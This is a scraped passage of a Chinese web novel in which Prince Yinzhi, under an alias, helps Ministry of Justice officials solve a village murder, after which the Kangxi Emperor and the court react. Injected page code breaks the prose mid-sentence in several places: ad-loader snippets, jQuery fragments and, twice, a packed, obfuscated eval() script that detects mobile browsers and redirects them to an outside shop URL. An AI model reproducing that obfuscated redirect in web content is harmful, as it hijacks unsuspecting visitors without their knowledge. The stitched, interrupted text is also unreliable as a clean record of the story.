吴娘子闻言,拘谨地点头应是。
王令史接着往下说第二个消息:“另外,最后与姚娘子说过话的也是吴娘子。
“她说那是事发三日前的晚间,她遇见匆忙出门的姚娘子,她拿着钱去镇上抓药,说是姚大郎病了。”
“也是三日前!?”胡主事脱口而出。
他的话音刚落,院里也齐齐一静,要知道先前查案时,因着仵作已确定受害人的死亡时间,所以官吏调查也都是从那日白天开始,顶多是往前再推一日,却没想到真正有对话,能确定两者生还的日子竟都是三日前!
“也就是说……除去吴娘子等人见着的那个疑似姚娘子的身影,其实事发前两日起村里就没人见着他们两个了?”
“我记得尸检时其胃内并无内容物。”
“原本以为应当是餐前遇害,又或是凌晨夜半时遇害,现在莫不是被饿了几日?”
“时下天气炎热,会不会死亡时间有差?”顺着这个思路,胡主事又提出另一个猜测,要知道天气炎热或者寒冷,都有可能造成尸体腐败速度变快或者变慢,从而推测的死亡时间出现误差。
“的确,立刻教仵作再核查一遍。”孙主事敛了表情,立马点人去操办此事。不过尚未等差役离开,王令史又道:“两位大人,下官还未说完。”
“吴娘子交代当时天色已晚,从村子到镇子上步行起码要小半个时辰。当时她便打算教姚娘子跟自己回家,请夫君驾牛车送他们一起去镇子上。”
“不过姚娘子拒绝了她。”
“吴娘子说她后头就回了家,大约又过了一个多时辰时她曾听到车轱辘驶过的声音。”
无数道视线落在吴娘子身上,吴娘子僵着身体连连应是:“是这样没错,后头,后头,大约快一个时辰以后民女上茅厕时,听到外头有车轱辘的声音,应当是有人送姚娘子回来。”
“你怎么知道是送姚娘子回来?”
“咱们村大多数人都是在田里干活的,几乎都没有晚间才回来的……况且,民女家就在巷子口那。”
吴娘子说着说着,胆子也渐渐大了。她快步走到门口,伸手指向街道那端的院子,与众人道:“从村口进来就一条道,得到姚娘子家就得路过咱们家,稍有些风吹草动的,我那都能晓得。”
一群人簇拥到院门口,直勾勾盯着吴娘子所指的方向。不用胡孙两位主事吩咐,几名差役便到周遭仔细查看了遍,确定吴娘子说的是真的。
这可是条大线索!
众人送走吴娘子,立刻召集所有人开会,要是吴娘子说的是真的,那那日晚上到姚家去的牛车或者驴车主人定然有重大嫌疑!
“现在的问题是,这个人究竟是谁?”
“去最近的镇子上问一问,既然姚娘子说要去镇上医馆买药,应当有人记得,说不定会有什么线索!”
“我还有个想法。”胤褆说,他竖起手指嘘了一声,教众人听旁处传来的犬吠声。
“吴娘子听见车轱辘声,却是没说听见犬吠声。”胤褆还未说完,场内十几双眼睛骤然放光,周主薄双手重重拍在案上:“也就是说那辆牛车或是驴车的主人……应当也是村里人!”
结合先前吴娘子的话语,胡主事等人的脑海里也勾勒出大概轮廓。他们交换了个眼色,很快明白彼此的想法:“……那个人,或许就住在吴娘子家与受害人家之间。”
……
正当胤褆沉浸办案时,在东暖阁处理政务的康熙帝也得到宫里传来的消息,说是皇太子胤礽与大皇子胤褆出了宫,说是要去刑部。
“……胤礽和胤褆是去了哪里?”康熙帝停下手上动作,反问道。
“回禀皇上,太子殿下与
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
大皇子殿下去了刑部。”梁九功眼也不眨,恭声重复一遍。
康熙帝沉默,康熙帝思考,康熙帝想来想去还是想不通,他端起茶盏,浅浅抿了口,借着喝茶整理思绪:“去刑部做什么?”
“听说是太子爷不高兴,大皇子便说要去刑部解决此事。”梁九功温声提醒了句,登时教康熙帝想起此前侍卫禀报上来的事来,眸色微沉:“原是为了这个。”
康熙帝尚且壮年,精力旺盛,宛如盘踞一方的雄狮,能允许幼年狮子在身边游走跑动,却难以容忍幼年狮子争夺他的权柄,更难以容忍自家麾下左右摇摆的态度。
康熙帝表面上没发火,其实那帮偷偷去胤礽跟前卖好的官吏早已被他记上一笔,只等着秋后算账。
唯独教康熙帝满意的是,他亲手养育长大的太子胤礽是个孝顺的,对那些官吏的行径很是厌恶,连着几日都冷着脸,暗暗憋着怒火。
康熙帝想了想,心情登时好了些:“胤褆这小子,性子变了不少……对了。”
“朕记得前两日,阿哥所递了信说是胤褆把大格格和二格格抱到屋里照顾了?”
“是的,皇上。”梁九功给出肯定的答案,瞧瞧瞅了眼康熙帝的神色,心下好奇。
且不说康熙帝,就是梁九功乃至前朝后宫都晓得大皇子绞尽脑汁,就想要个皇长孙的心思。
康熙帝对此,从未发表过意见,只是身为皇帝身边伺候的贴心人,梁九功自诩能摸透皇上七八分的心思。
皇上对于大皇子,是不满意的,虽说大格格和二格格是公主,但总归是大皇子最初的孩子,也是康熙帝率先获得的隔代孙女。
康熙帝瞧着,免不得会想起自己最初养育过的几个女儿,回想那段伤心往事后还特意去端嫔宫里坐了些时候,又教人去庙里给早夭儿女上香祈福。
梁九功想,皇上是嫌大皇子薄情呢,觉得他对自己的孩子都这般,对兄弟子侄的心思更不用说。
直到上回皇太子说大皇子挡在他跟前,康熙帝心里才松了口气,这些日子以来心情都很是不错。
至于现在……
梁九功瞅了眼康熙帝,估摸皇上是怀疑大皇子在演戏呢,不然好端端的,怎么就开始养格格了?总不能真的脑子……咳咳。梁九功不敢往下想了,垂首竖手站在一侧。
康熙帝的确有几分怀疑,不过他心思还在刑部上,思考片刻点了侍卫去刑部瞧着,有消息再来禀报。
过了没多久,侍卫便带着消息归来。
他的神色很是古怪,表情略显扭曲,教康熙帝瞧了眼便皱起眉来:“刑部出了什么事?许是胤褆在那闹事?”
“回禀皇上。”侍卫定了定神,有些语无伦次:“那个,大皇子给自己取了个假名。”
“……啊?”
“然后,大皇子混入办案的队伍里。”
“……啊??”
“奴才归来的时候,说是大皇子所在的队伍破了案!”
“……啊???”
“那队伍的两位主事说……能这么快破了案子,多,多,多亏了大皇子!”
19.第十九章
正值用晚膳的时间,壮硕的汉子们一拥而入,顷刻间便把刑部衙门食堂所在的院子塞得满满当当。
“今儿个是什么菜?”
“嘿,有红烧肉啊?另外还有肉沫蒸蛋、还有腐竹炒木耳、主食有米饭、馒头和面条。”
“瞧着不错。”差役随手拎了个干净的瓷碗,舀上一大勺面条,往上浇着红烧肉的汤汁,又夹了点菜,坐到边上直扒拉。他一连吃了好几口,垫了垫肚子,而后动作才渐渐慢了下来:“今天我累得够呛,忙得一天连口水都没来得及喝!”
“我不也是?摸排了三条巷子,嗐。”
“我更惨,坐牛车去了附近村子,排查村民不说还去山上巡查,险些被蚊子给抬走!”
“闹,你们看看。”抱怨的差役一抬腿,伸手撩起裤脚,露出那一截腿肉来,上头密密麻麻的蚊子包和道道指甲划痕教周遭人看得头皮发麻:“艹!更恶心的是蚊子就咬我,服了!”
你还别说,你还真别说,让我被蚊子抬走活活痒死,还不如直接一刀嘎了快活点。
惨,兄弟,惨。
旁边几个汉子看着,纷纷朝他竖起大拇指,还有人端起饭碗示意,兄弟,敬你一碗!
片刻功夫,院子里充斥着各式各样的声音,有哧溜哧溜扒面的,有呱唧呱唧扒饭的,当然也有填饱肚子,闲着没事开始说起今儿个处理的案件:“今儿个我碰到个奇葩事。”
“就隔壁的福阳镇上,有个傻货驾着驴在路上横冲直撞,撞翻了好多铺子,结果后头只找到了驴,没找到人,你们猜猜人去哪里了?”
“撞进水沟子里了?”
“甭是站人群里假装看热闹吧?”
“嘿!”汉子一拍手,“你说对了,是在看热闹的人群里。”
“这有啥稀奇的,少见多怪。”
“要是他身上套着围裙,手里还拿着锅子和炒菜勺呢?”汉子连连摇头,想到都忍不住笑:“我们摁住他才晓得,他跑隔壁的吃食铺子里,趁人家厨子没注意连锅带炒菜勺都端了出来。”
“啊?”周遭汉子听得人都傻了。
“离谱不离谱?”汉子双手一摊,白眼都快翻天上去了:“这下好了,原本是赔偿损失,现在还多了盗窃罪,得去牢里蹲上半个月。”
除去这般的离谱案子,也有人凑在一起说着悬案:“双源山上发现的两具尸体,到如今都没寻到来历。”
“嗐,这种无名尸体最是教人头疼。”
“可不是吗?到现在附近官署都没接到,瞧着怕是要等家里人报案,才能有个头绪了。”
“也不知这案子会不会交给胡孙两位主事大人去办。”说到悬案,自然而然就有人提到胡主事和孙主事,顺势有名汉子瞅了瞅四周,压低声音:“哎,你们听说了没?”
“听说什么?”
“啥子事儿哦?你要这么偷偷摸摸的。”
“就是胡主事孙主事他们组的事啊!”那名汉子没忍住,稍稍抬高了声音,登时引来不少人的注意,有人朗声笑道:“你说的是不是胡主事和孙主事差点打起来?”
“什么啊,就这事?”旁边的差役闻言,瞬间没了精神气,他还以为有什么新的八卦呢。
不是众人好管闲事,主要是胡主事和孙主事可是刑部的名人!
要知道刑部事务繁忙,人手根本不够用,通常到主薄这个职位便可自行带队探案查案,处理事务。
而刑部主事,那各个都是刑部里的骨干堂官,原本应当脱离一线工作,既不必去案发现场查案,而是专职负责复核天下各司的刑狱案件,处理刑部各项事务。
偏生胡主事和孙主事不愿如此,而是一如既往,无论大小案件,回回都亲自领队去案发现场查案。
即便刑部尚书、侍郎与员外郎寻了他们数次,两者也是一如既往,偏生两人合作还真就连破大案,到最后上峰们也只能睁一只眼闭一只眼。
这待遇,真真教人眼红。
眼见没热闹可见,差役没精打采地捡起个白面馒头。他双手掰开馒头,又把红烧肉并腐竹炒木耳夹在里头,先嗷呜来上一大口,边咀嚼边含含糊糊嘀咕:“这有啥稀奇的,两位主事三天两头就吵架。”
“这回不一样……哎哎哎不是。”汉子一巴掌拍在腿上,连连摇头:“我说的才不是这件事。”
“那是什么事?”
“难不成两位大人翻车啦?”
“喂喂喂,你胡说八道什么呢!”旁边的差役听出那人话语间的兴奋,登时大怒。
“啥教胡说八道,孙主事连自家的案子都破不了……”那人吓了一跳,不服气地嘀咕。
“你这家伙!”支持胡主事孙主事的,和反对胡主事孙主事的差役登时吵作一团,更有人丢下碗筷,撩起袖子,挥舞着拳头。
“停停停!你们想干啥?”
“这里是刑部!你们想要知法犯法是不是?欠抽的话一个个自己躺板凳上去,我赏你们一顿板子试试!?”站在旁边看热闹的小吏见状,登时板起脸来,咣当把饭碗搁在案上,恶狠狠瞅着吵闹的差役。
刹那间,院里重归宁静。
小吏环顾一圈,再看向最先头说起这话题的两人:“说吧,你们到底说什么呢?”
“我要说的是……胡主事他们刚刚又破了个新案子!”
“…………”
“有病吧你?”
“就这还要遮遮掩掩,这么长时间才说?这里谁没破过案子?”
片刻的安静后,院子里轰然响起一片叫骂声。刑部官吏差役里有各地选拔而来的司官,也有新科进士,但更多的还是市井出身的捕头衙役,各个脾气火爆得很,有几个更是站起身来,就要揍他两下出出气。
那名汉子抱着饭碗,躲出三米外,直到众人冷静下来他才探头继续说:“我还没说完呢!你们知道吗?胡主事和孙主事队伍里,今日加了个小年轻。”
添个打下手的,有啥好说的?
汉子眼见几人骂骂咧咧就要走,连忙把后头的话说出来:“那小年轻虽然头一日当值,但胡主事和孙主事已开了口——说今天这桩案子那小年轻出了大半功劳,要为他请功呢!”
话音落下的同时,周遭听着话的人也安静下来。有人倒吸了口凉气,有人忍不住交换眼色,有人顾不得形象,拍案而起:“
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
真的假的?”
“你不会是在忽悠我们吧?”
刑部官吏名额有限,能否晋升全看绩效,破的案子越多,得的功劳越大,晋升的可能性也就越大。
新入刑部的官吏,无论是科举出身又或是选拔而来,那都是要经过一段时间的学习,哪有头一回办案就立功,还被点名要请功的?
“当然是真的。”汉子怜悯地看难掩欣羡嫉妒的众人一眼,完全忘记他听见这消息时也是这般酸溜溜的。
“哥,你就别遮遮掩掩了,快说吧!”
“行,我与你们从头开始说。”汉子二郎腿一翘,不像是个衙役,倒像是个酒楼说书的:“那小年轻生的英俊,脑门开阔,双目清亮,皮肤黝黑,耳垂过肩,据说徐主事和胡主事看了眼,便晓得那小年轻是个聪颖明智之人,当即就把他纳入队伍之中。”
“这里就不得不说胡主事和孙主事洞若观火,在挑选人才上更是独具慧眼,还真就被他们选中了个好苗子!”
“…………他先是发现问题,而后待证人述说情况后立马发现案发时间有误差,而后更是断定凶手应当居住在证人和受害人家之间,也就是受害人的邻居之一。”
“好家伙!难不成真被他猜中了?”
“没错!凶手其实便是那受害人的邻居赵某,据说他经常因受害人夫妇在跟前炫耀金饰衣物之事而与妻子吵架,所以一直对他们夫妇怀恨在心。”
“那日见受害人姚大郎病得厉害,姚娘子柔弱又完全没有警惕心而心生歹意,将夫妇杀害并带走了所有金银首饰,还将姚娘子的尸首丢弃到山林里。”
“而他知晓姚娘子衣衫显眼而被众人认识,加之其身材矮小,因此动手后便换上姚娘子的衣衫装作女子,提着包裹匆匆路过,教人以为是姚娘子杀人并潜逃。”
汉子在里头说得起劲,胤褆在外面听得脚趾抠地。旁边的皇太子胤礽原是听见声音,好奇想听听那帮子衙役是如何说的,没想到竟是听到这么一番话。
他乐得抿着嘴,肩膀直颤,用尽毕生功力才勉强把笑声给压下去。
胤褆:…………
胤褆目光幽幽地看向胤礽,瞧着他脸颊泛红,笑到无力的架势,没开口教他笑出来,而是希望他能忍住,千万不要笑出来。
你说为什么?
哈,哈,哈!要是里面的人听见动静,再发现他,胤褆保证他会用脚趾挖个紫禁城然后钻进去。
还好胤礽的忍耐力不错,花费半响终是把笑意压了下去。他拍了拍双目无神的胤褆,略显心虚,绞尽脑汁安慰:“大哥,往好处想,他的描述大多还是比较贴切的——瞧瞧,前面还夸你长得好呢!”
“是啊,耳垂过肩,皮肤黝黑。”胤褆面无表情重复着那汉子的话语,人已经麻了,只能呵呵两声:“得感激他没说我额有月牙。”
胤褆听着逐渐离谱的话语,亲眼见证谣言是如何炼成的,只觉得自己差一步就能成现代包青天-白皮无月版。
哦,对了,历史上的包公还真是个白面书生,面如黑炭,额有月牙的形象才是后世戏剧塑造出的。
这么一说,靠,我成真包公了。
20.第二十章
不对啊!
他就破了一个案子,在那人口中他怎么就和包公似的!?
要是多破几个呢?那不得把他夸成狄仁杰在世,宋慈转生?
胤褆猛地醒过神来,觉得情况有亿点点不对劲,眼前这世界也太过魔幻。他沉思良久,还是忍不住吐槽:“不过是破了一个案子……一个案子罢了!”
胤礽忍俊不禁,站在胤褆胤礽身后的几名刑部官员也是扯了扯嘴角,竖耳继续听院里人的对话。
那汉子还未停歇,尚在述说着案子的内情:“那人想得妙啊。”
“他知道那姚家夫妇并无儿女,一人失踪一人死亡的情况下,咱们官署的目标定然会是先寻觅失踪者。”
“他不但想用这招数瞒天过海,而且还假装是第一现场发现人,带着村里其余人跑进院子,把院里屋里的痕迹弄得一塌糊涂,以至于现场连入侵的脚印都无法寻到。”
“若是等上十天半个月没寻到踪迹,府里再从头开始寻觅线索,说不定还真教他逃过这一劫。”
“那贼人是如何承认的?”
“那小年轻怎么确定他是贼人?先前不是说中间还有好几户人家的吗?”旁边的衙役听得津津有味,时不时还提出问题来。
“这你们就不懂了吧——”
“那小年轻使人去镇子上买了衣衫,教人穿着装鬼,吓得那人直接一激灵……”
“这是造假啊,是瞎说啊!”胤褆听到这里,脑门上直接蹦出青筋来,他可不是会抢占别人功劳的人。胤褆转过身来,连声与胤礽等人解释:“凶手作为凶案现场发现者,本就是该案的重点嫌疑人。”
“或者说,当我们发现凶手有可能是邻居以后,第一个审查,或者需要排除嫌疑的目标便是他。”胤褆郁闷得很,这事乃是常识,里面的人不可能不知道,却偏偏一个个当八卦般听得开心。
胤褆,拳头都硬了。
跟在后头的刑部官员闻言,也是点了点头,同意了胤褆的说法。
在此之前,邻居赵某已经经过一番排查,那时候查的是当日和前一日赵某的行程,全程都有证人,寻不出任何疑点。
只是当时间往前推,赵某的证词就开始变得乱七八糟,首先让人起疑心的便是他目击凶案现场的原因。
赵某说自己是打算寻姚大郎一道上工,这才敲门,敲门未果后翻过围墙发现凶案。
村里大多数人都是靠农活,以及不忙的时期到镇子上打零工过活。时下正值水稻出穗的时节,几乎没人会去镇子上做活,都在田地里忙碌,这才让人在田里注意到姚娘子路过。
按理说姚大郎病了三日未下田,即便身体好了也应该先去做完自家田里的事,而胡主事点人去田里瞧过,确定姚大郎家的田地情况糟糕,看起来很长一段时间都无人打理。
而赵某身为姚大郎的邻居,其田地也在姚大郎家田旁,赵某不会不知道姚家人的处境。
既然如此,他为何会寻他去上工?
另外官吏今日登门时,并未在院里见到赵某的牛车,而赵某居然说牛车前两日出了问题,还在镇子上维修。
这话一出,赵某的嫌疑一路飙升。毕竟村里农户大多节俭,像是牛车驴车出了问题都是自个儿修理修理,能省一些是一些。
胤褆把真正的情况说出口来:“后来孙主事与王令史再次提了赵某录口供,另外一边胡主事则点了人,分别前往镇上、村里、后山乃至赵某亲戚家中寻觅赵某家的牛车。”
经过周密的反复询问审查,赵某也是扛不住心理防线,接二连三地露出马脚,一会儿说是姚大郎与他说好的,一会儿又改口说是自己一直没见到人,担心所致。
“直到见到胡主事归来,手里还带着被他藏匿的金银珠宝,他才彻底崩溃,把来龙去脉全数交代出来……”
胤褆听着院子里一阵又一阵的惊呼,眉心渐渐蹙起,心底渐渐有一团火燃起。
后世的时候,也常有这般的事情发生,明明案件尚在侦破之中,却有不良媒体为了吸引观众的眼球,得到流量而夸大其词,乃至扭曲,从而引发民众的误会,将案件进行娱乐化。
眼前景象虽不到这等地步,但也教人心生不适。胤褆环视周遭,别说院里的小吏衙役或立或坐,聚精会神瞅着说话的汉子,听得津津有味,就连跟着尚书纳图后头跟着的官吏也有不少被那绘声绘色的内容吸引了注意力,听得入迷。
正当胤褆目光沉沉,猛然抬手落在院门上时,身后传来个熟悉又陌生的声音:“镜观……图纳尚书!?”
胤褆收敛面上表情,不着痕迹地往后退了步,摆出一副他与胤礽等人无关的架势。
“胡主事……什么图纳尚书?”他又惊又疑,睁大了眼左看右看,最后透着激动和兴奋的目光落在图纳尚书身上:“尚书大人!?”
胡主事疾步走上前来,像是老母鸡护鸡崽儿般把胤褆护在后头,又是紧张又是无奈的行李问候:“下官见过大人。”
他一起身,又伸手摁住胤褆的脑瓜子,教他赶紧行礼问候:“镜观,这位是满尚书图纳大人。”
图纳大人下意识想移开半步,又在胤褆的眼刀里僵住,忙撑着笑脸道:“原来你就是里面在讨论的那人?”
“讨论?”胡主事愣了愣。
“食堂里人正讨论着你今日处理的案子。”尚书图纳脸上带笑,抬手点了点院子:“本官刚听到一半,这年轻人便上前与我说,说是里面人在胡说八道,完全不是那么回事。”
胡主事听此一怔,目光扫向身后院落,院子里闹哄哄的声音直落入他的耳中,教他心生怒火,脸色黑如锅底。
他顾不得尚书图纳在此,便直接推门而入,劈头盖脸的一通训斥:“胡闹!”
“刑案是让你们拿来说笑的吗?”
“不尊重事实,把刑案胡编乱造,这是刑部官吏应有的素养?”
“这么喜欢胡编乱造,不如本官给你们一封举荐书,让你们好去升平署做事,满足你们写戏本的梦想?”
院子里的声音戛然而止,唯有胡主事的声音在里面回荡。
胤褆立在原地,目不转睛地瞧着。
正当胡主事乃至刑部尚书图纳训斥院里小吏乃至衙役时,胤褆也跟着胤礽溜出刑部,登上马车,走向归家路。
“那帮人真是无聊,竟是夸大其词,扭曲事实。”胤礽见胤褆托着下巴,坐在窗边发呆,以为他还在纠结这事:“经过那位胡主事,还有后面图纳的训斥,孤想以后应当没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724604|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有人敢多嘴多舌了。”
“啊?他们啊……”胤褆收回目光,想了想,嗤笑道:“或许想的不是胡编乱造故事,而是想给我个下马威呢。”
“什么?”
“太子二弟,我和你说。”胤褆想通了来龙去脉,终是神清气爽,想他当年刚刚进刑部……阿呸!刚刚从基层派出所刑侦队被调往市公安局刑侦支队时,也是获得不少不信任的目光,外面也传起不少走后门的风言风语来。
时间长了,他也把那段经历抛到脑后,现在想来不就和眼前情况很是相似?时下并无这么多的新闻媒体,引发的舆论自然也有所不同。
一桩受害者全数死亡,已经告破的案子,受利的唯有侦破案件之人!
胤褆坐直了身体:“他们这般做,是想要捧杀我!”
“捧杀?”胤礽重复一遍,声音低微。
“嗯,我不过破了一个案子而已,就被众人捧到那么高的位置,说的整个刑部上下都知晓我的存在……呵,只怕从明日起会有无数双眼睛盯着我。”
“要是我不犯错,他们便是好人。”
“要是我犯了错,那他们就会变成另外一幅嘴脸,说我名不符实,说胡主事或是孙主事不识贤愚、偏听偏信,甚至会说我是走后门的。”
胤褆摸了摸下巴,淡淡说出几种可能性来,就是他每说一个词,胤礽的眉毛就蹙紧一些,到最后眉心紧拧,脸色难看的同时又不知说什么是好。
他眼皮直跳,目光幽幽地盯着胤褆,有种胤褆是在说自己,又有种胤褆是在说自己的感觉。
那感觉,简直了。
胤礽瞅着胤褆的眼神渐渐发生变化,一时间搞不懂胤褆的脑子是真坏了,还是从头到尾都是装的?
…………要是后者的话,岂不是傻瓜一直是他?胤礽想罢,沉默不语,半响才慢悠悠问道:“既然如此,大哥要如何做?”
顿了顿,胤礽补充一句:“不如情图纳尚书再将他们训斥一番?警告他们不准无故生事。”
“太子爷说的是……”
“哎哎哎,训斥有什么用?面上堵着,心里也会骂的。”
刚刚训斥是逮住他们的马脚,要是再申斥岂不是摆明说自己身份有问题?好不容易取了个假名混入队伍,磨掌擦拳准备做出一番事业的胤褆连连摇头,偷偷朝胤礽翻了个大白眼。
再说了,最促进同事感情的事是什么?要不是聚在一起骂领导,要不就是凑在一起讲上司八卦!
胤褆想都不敢想,要是刑部尚书图纳帮他说话,但凡他的身份没曝光,那直到图纳致仕都有人私下讨论这事。
刑部尚书图纳没忍住,打了个喷嚏。
胤褆心虚地收回目光,心态调整老好的他摆摆手,心平气和道:“对付那些人,当然是用实力让他们闭嘴。”
胤褆双手叉腰,洋洋得意:“以后他们就会发现他们说的话通通成真——我,胤褆,就是这般的天才!”
胤礽瞧着脸上放光的胤褆,像是直视太阳时被灼热阳光所刺到般眯了眯眼,他略显狼狈地别过头去,半响才愤愤道:“通通成真?皮肤黝黑,额顶弯月的那样?”
胤褆怒:“…………喂!”
真真是哪壶不开提哪壶。
21.第二十一章
胤礽和胤禔吵吵闹闹,那边康熙帝也听侍卫说完了全部过程。他自诩洞察朝野,把控人心,今日却在琢磨大儿子这条道上翻了车,思来想去都有些迷茫,完全搞不懂胤禔是怎么回事。
康熙挥手示意侍卫退下,给自己留了块清净地思考人生。他在御案前呆坐半响,而后起身又在东暖阁里转了一圈,最后忍不住走出殿门,立在廊下吹吹风醒醒脑子。
康熙帝久久无语,满宫的太监婢女更是屏气凝神,唯恐惊扰到皇上思考。
梁九功跟在后头,垂首敛容,心下咋舌不已,这回大皇子真真是给皇上留下深刻印象。
不但给自己添了个汉人身份,而且还混入队伍中办案。别说是那传信侍卫惊得目瞪口呆,梁九功确信这事儿要是传开,定然会在前朝后宫引发轩然大波。
“保清莫非……”半响,康熙帝喃喃。
康熙帝声音听上去平静,但就梁九功的经验怕是藏着万丈波澜,梁九功已做好准备,待皇上一开口就立马点人去太医院里唤御医,再为大皇子瞧一瞧。
“是个天才!!!”
“……???”梁九功思绪险些打结,愣是没控制好面上表情,惊愕地抬眸看向站在前方的康熙帝。
康熙帝并未注意到他的神色,越想越觉得自个儿的想法很是正确。
他心下振奋,背着手又在廊下转了几个圈,自言自语着:“朕原以为保清在习武的天赋已是数一数二,没想到啊没想到。”
“好好好好好好。”
“不愧是朕的儿子!”
康熙帝自己得意过了不说,还美滋滋地赶赴慈宁宫,特意把这事禀告给皇太后。
什么?大皇子出事前破了案?
什么?大皇子跟着太子去刑部,结果又破了案?
皇太后一把年纪,久居深宫无聊得很,唯有的趣事便是拉着太妃,还有苏麻喇姑等人一道看看各种戏剧,最常看的当属《包公案百家公案》,对里头包公的形象那是熟得不能再熟。
“好好好,咱们保清是个好孩子。”
如今她听皇帝说起大皇子轻松破案,抓住杀人凶手,还受害者一个公道的事儿,那是激动得合不拢嘴,竟是站起身来,在屋里转悠两圈,恨不得胤禔能立马出现在眼前,好让她夸上几句。
坐在下首的嫔妃们见状,交换了个眼色,也接二连三的夸赞起来。
“没错没错。”康熙帝听着,眉飞色舞,那些话就像是夸在他心尖上,教他心情舒畅得很。
“皇帝啊。”皇太后想着那戏剧里的包青天,想着那些个感激涕零的百姓,忍不住唏嘘道:“保清做的事,对天下老百姓是桩好事,他爱做你就让他做罢!”
话语一出,嫔妃们下意识屏住呼吸,像是荣妃平妃更是忍不住,偷偷瞥了眼脸上带笑,巍然端坐,神色间不带半点担忧的惠妃。
皇太后许是无意说出这话,可这些年皇太子与皇长子之间关系紧张不说,皇长子的野心更是遮不住。
无论前朝后宫,都晓得大皇子剑指兵部,而康熙帝也有意把兵权回收,年龄能力都合适的皇长子无疑是最佳人选。
这下,这下……
嫔妃们屏住呼吸,或是窥视康熙帝与皇太后,又或是偷偷瞥向惠妃。
惠妃端着茶盏,慢条斯理地抿了口,垂眸掩住震颤的瞳孔,压根没把心思分给康熙帝、皇太后乃至满宫的嫔妃同僚们。
她脑海里就只有一个念头:啊?这事儿真是我儿子能干出来的?
啊?原来上次不是意外啊?
啊?原来我儿子真能办案……真的假的?
我儿子这么牛逼的!?
我去,我儿子,好牛逼!
惠妃感动得不要不要,完全没注意嫔妃们瞅她的眼神已经变得越来越奇怪。
康熙环视一圈周遭,最后目光停留在皇太后身上。他从容不迫,微微一笑:“皇额娘,这件事还要看胤禔自己的想法。”
“那是那是。”皇太后连连点头,“两孩子还没回来?”
“说是在回来路上了。”康熙帝上前两步,亲手搀着皇太后坐回榻上,再细细问起皇太后的饮食起居。
皇太后乐得回答,顺带说起身边的趣事儿,比如五皇子胤祺的汉文说得越来越好,眼瞅着将来定然能成为个大才子。
谁?大才子?胤祺?
康熙帝听罢,扯了扯嘴角,胤祺时下已十岁了,汉文还是磕磕绊绊,抄写课本的作业一页能有一半错别字。
康熙帝心里急,又怕教皇太后担心,选择把压力交给授课谙达,急得对方口角生疮,前两日还来谢罪。
就这,未来还大才子呢!
康熙帝瞅着对五皇子明显有八百米滤镜的皇太后,又扫了眼坐在下首的宜妃,那是欲言又止。
宜妃对上康熙帝的眼神,险些没直接钻地里去,饶是她平日性子爽快,笑口常开,听到这话题也是笑不出来。
谁不晓得五皇子的成绩惨不忍睹啊?也就皇太后能昧着良心硬夸。
康熙帝与忧愁的宜妃想得一样,要他说,只怕在皇太后眼里,只要是孙辈,无论是皇子还是公主,各个都是天才罢?
完全没想过自己刚刚还在猜测胤禔是天才的康熙帝暗暗摇头,嗯嗯啊啊敷衍过去。
皇太后没注意康熙帝和嫔妃的神色,转而又说起十二皇子胤祹:“那孩子长得壮实,往后定然是当巴图鲁的苗子。”
宜妃悄然松了口气,附和着:“是皇太后和苏麻喇姑养得好,瞧瞧胤祺康健,小十二也是个健壮,再瞧瞧胤禌……嗐,妾身都不知是哪儿出的问题。”
十一皇子胤禌比小十二大半岁,结果还是后者长得壮实,前者出生时还好好的,这几年是接连生病,连御医都寻不出个所以然。
皇太后一手将五皇子养大,对宜妃也是分外亲厚,闻言拍了拍胸膛:“你要是舍得,就教小十一到我这里住段时间,有小十二带着说不准真能好些呢!”
宜妃:“……”
她原是想转移话题,顺便最好能得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728726|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到皇上的注意,没真的想让小十一也搬到慈宁宫来。
可现在皇太后一开口,那真真是箭在弦上不得不发。宜妃暗暗叫苦,面上却是喜盈盈的,特意起身福了福:“皇太后说的是,明儿个妾身就叫人把小十一挪到慈宁宫去!”
“好好好。”皇太后一把年纪,就喜欢瞧着蹦蹦跳跳,闹闹腾腾的崽子。她闻言便乐得合不拢嘴,连忙点了嬷嬷去安排十一皇子的住所:“我瞧着,就让小十一和小十二住在一块,两孩子也好亲近亲近。”
宜妃能说什么,一应都说好。
周遭嫔妃瞧着,尤其是以德妃为主的主位娘娘纷纷拿起帕子,遮住微微上翘的嘴角。
唯一动也不动的是惠妃,她从震撼中醒过神来就看到众人偷笑的景象,有些不明所以,下意识附和道:“皇太后说的是。”
一句话,把众人都干沉默了。
惠妃看了圈同僚们的表情,后知后觉地发现自个儿说错话了。不等她给自己补上两句,屋外太监一路小跑进了殿,说是太子和大皇子都到了。
惠妃瞬间把这事抛到脑后,探身往门口瞧去,很快瞧着胤礽和胤禔一前一后的进来。
胤禔刚回宫,别说抱着大格格和二格格逗趣逗趣,就连洗漱更衣都没弄呢就见着等候多时的太监,得知康熙帝教他与胤礽一道去慈宁宫请安的事。
胤禔起初还有点紧张,等更衣洗漱好那些情绪也消散得差不多。
毕竟这也是总归要遇上的事,今日不去请安他明日也要去,倒不如直接了断干了这事。
